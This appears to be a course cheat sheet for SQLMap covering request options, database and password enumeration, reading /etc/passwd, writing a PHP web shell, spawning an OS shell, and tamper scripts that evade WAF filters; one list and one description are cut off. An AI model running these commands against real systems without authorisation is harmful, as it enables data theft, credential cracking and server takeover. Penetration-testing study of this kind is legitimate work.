0. Overview, cheatsheet

The cheat sheet is a useful command reference for this module.

Command Description
sqlmap -h View the basic help menu
sqlmap -hh View the advanced help menu
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch Run SQLMap without asking for user input
sqlmap 'http://www.example.com/' --data 'uid=1&name=test' SQLMap with POST request
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test' POST request specifying an injection point with an asterisk
sqlmap -r req.txt Passing an HTTP request file to SQLMap
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' Specifying a cookie header
sqlmap -u www.target.com --data='id=1' --method PUT Specifying a PUT request
sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt Store traffic to an output file
sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch Specify verbosity level
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -" Specifying a prefix or suffix
sqlmap -u www.example.com/?id=1 -v 3 --level=5 Specifying the level and risk
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba Basic DB enumeration
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb Table enumeration
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname Table/row enumeration
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'" Conditional enumeration
sqlmap -u "http://www.example.com/?id=1" --schema Database schema enumeration
sqlmap -u "http://www.example.com/?id=1" --search -T user Searching for data
sqlmap -u "http://www.example.com/?id=1" --passwords --batch Password enumeration and cracking
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token" Anti-CSRF token bypass
sqlmap --list-tampers List all tamper scripts
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba Check for DBA privileges
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd" Reading a local file
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" Writing a file
sqlmap -u "http://www.example.com/?id=1" --os-shell Spawning an OS shell

Supported Databases

SQLMap has the largest support for DBMSes of any other SQL exploitation tool. SQLMap fully supports the following DBMSes: |MySQL|Oracle|PostgreSQL|Microsoft SQL Server| |SQLite|IBM DB2|Microsoft Access|Firebird| |Sybase|SAP MaxDB|Informix|MariaDB| |HSQLDB|CockroachDB|TiDB|MemSQL| |H2|MonetDB|Apache Derby|Amazon Redshift| |Vertica, Mckoi|Presto|Altibase|MimerSQL| |CrateDB|Greenplum|Drizzle|Apache Ignite| |Cubrid|InterSystems Cache|IRIS|eXtremeDB| |FrontBase|

The SQLMap team also works to add and support new DBMSes periodically.

sqlmap payload technique types

The technique characters BEUSTQ refers to the following:

Boolean based blind sql injection relies on differentiation of true and false query results (i.e. AND 1=1 )


sqlmap tamper script list, most common

The most notable tamper scripts are the following:

Tamper-Script Description
0eunion Replaces instances of UNION with e0UNION
base64encode Base64-encodes all characters in a given payload
between Replaces greater than operator (>) with NOT BETWEEN 0 AND # and equals operator (=) with BETWEEN # AND #
commalesslimit Replaces (MySQL) instances like LIMIT M, N with LIMIT N OFFSET M counterpart
equaltolike Replaces all occurrences of operator equal (=) with LIKE counterpart
halfversionedmorekeywords Adds (MySQL) versioned comment before each keyword
modsecurityversioned Embraces complete query with (MySQL) versioned comment
modsecurityzeroversioned Embraces complete query with (MySQL) zero-versioned comment
percentage Adds a percentage sign (%) in front of each character (e.g. SELECT -> %S%E%L%E%C%T)
plus2concat Replaces plus operator (+) with (MsSQL) function CONCAT() counterpart
randomcase Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)
space2comment Replaces space character ( ) with comments `/
space2dash Replaces space character ( ) with a dash comment (--) followed by a random string and a new line (\n)
space2hash Replaces (MySQL) instances of space character ( ) with a pound character (#) followed by a random string and a new line (\n)
space2mssqlblank Replaces (MsSQL) instances of space character ( ) with a random blank character from a valid set of alternate characters
space2plus Replaces space character ( ) with plus (+)
space2randomblank Replaces space character ( ) with a random blank character from a valid set of alternate characters
symboliclogical Replaces AND and OR logical operators with their symbolic counterparts (&& and |)
versionedkeywords Encloses each non-function keyword with (MySQL) versioned comment
versionedmorekeywords Encloses each keyword with (MySQL) versioned comment

To get a whole list of implemented tamper scripts, along with the description as above, switch --list-tampers can be used. We can also develop custom Tamper scripts for any custom type of attack, like a second-order SQLi.